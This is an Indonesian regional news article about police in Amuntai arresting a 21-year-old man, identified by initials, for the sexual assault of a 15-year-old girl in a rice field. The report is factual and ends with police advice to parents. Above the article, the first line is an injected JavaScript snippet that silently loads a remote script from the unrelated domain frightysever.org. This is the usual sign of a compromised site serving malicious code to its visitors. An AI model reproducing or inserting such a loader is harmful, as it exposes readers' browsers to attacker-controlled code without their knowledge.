(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

RA Diringkus Polsek Amuntai, Setelah 2 Bulan Setubuhi SI di Persawahan


AMUNTAI, Polsek Amuntai Kota berhasil meringkus pelaku persetubuhan anak di bawah umur di Jalan Abdul Hamidan, Desa Karias, Kecematan Amuntai Tengah, Kabupaten HSU, tepatnya di sekitar area persawahan, Rabu (20/6) sekitar pukul 12.00 Wita.

Pelaku diketahui berinsial RA (21) warga Desa Sungai Bahadangan Kecamatan Amuntai Tengah Kabupaten HSU.

Sebelumnya, sekitar 2 bulan lalu pada hari Jum’at (20/4) sekitar pukul 22.00 Wita, korban SI (15) warga Desa Sungai Bahadangan, Kecamatan Amuntai Tengah, HSU, disuruh orang tuanya untuk membeli obat. Lalu tersangka RA menawarkan diri untuk mengantar korban membeli obat ke toko yang dimaksud. Setibanya di sana, toko obat tersebut tutup, lalu SI malah diajak jalan-jalan berkeliling oleh tersangka RA. Belakangan RA membawa korban ke sebuah area persawahan di Desa Karias, Kecamatan Amuntai Tengah, HSU, kemudian mengajak korban ke semak-semak memaksa dan mengancam korban untuk disetubuhi.

Belakangan, tante korban yang mengetahui kejadian melaporkan perlakuan RA atas SI ke Polsek Amuntai Kota.

Menerima laporan tersebut Polsek Amuntai Kota langsung melakukan penyelidikan terhadap pelaku. Dua bulan berlalu RA akhirnya berhasil diamankan Rabu (20/6) sekitar pukul 12.00 Wita.

Kapolsek Amuntai Kota Ipda Taufik mengungkapkan, untuk kasus ini sudah diserahkan ke PPA Sat Reskrim untuk penanganan intensif.

“Saat ini kasusnya kami serahkan ke PPA Sat Reskrim Polres HSU sehubungan dengan penanganan secara intens terhadap korban di bawah umur,” ujarnya.

Adapun barang barang bukti yang diamankan Pihak Kepolisian berupa beberapa lembar pakaian milik korban.

Berhasil meringkus RA ini, menjadi kali kedua terkuaknya tindak pidana pencabulan yang terjadi di wilayah hukum Polres HSU.

Kapolres HSU AKBP Agus Sudaryatno SIKMH melalui Kapolsek Amuntai Kota Ipda Taufik menghimbau untuk orang tua agar lebih memperhatikan dan mengawasi setiap kegiatan anak-anaknya.

“Maraknya kasus pencabulan anak dibawah umur ini tentu sangat memprihatinkan. Saya harap orang tua agar lebih memperhatikan dan mengawasi kegiatan anak-anaknya di luar rumah. Isi kegiatan mereka dengan hal hal yang positif dan bekali ilmu agama sejak dini,” pungkasnya. (rico)

Reporter:Rico
Editor:Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.